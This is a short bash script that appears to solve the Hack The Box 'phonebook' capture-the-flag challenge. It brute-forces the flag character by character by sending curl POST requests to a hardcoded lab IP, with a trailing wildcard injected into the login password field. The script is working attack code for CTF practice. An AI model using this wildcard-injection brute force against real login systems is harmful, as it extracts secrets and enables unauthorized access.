curl brute flag

brute-flag-password.sh

#!/bin/bash
# used to phonebook challenges
# flag are lowercase with number and underscore

# initial flag
flag="HTB{"

# loop till die
while true; do
  	# loop on possible chars
	for i in {{a..z},_,{0..9},\},};
		do
   		# try, post data must ended with * due to vuln / leak
		x=$(curl -s -D - -o /dev/null http://209.97.179.123:31420/login --data "username=reese&password=$flag$i*")
   		# check if char is contain on flag
		if [[ "$x" != *"failed"* ]]; then
     		# append flag with new char
			flag=$flag$i
			printf $flag\\r
      			# exit after found
			break
		fi
    		# print current flag
		printf $flag$i\\r
	done
done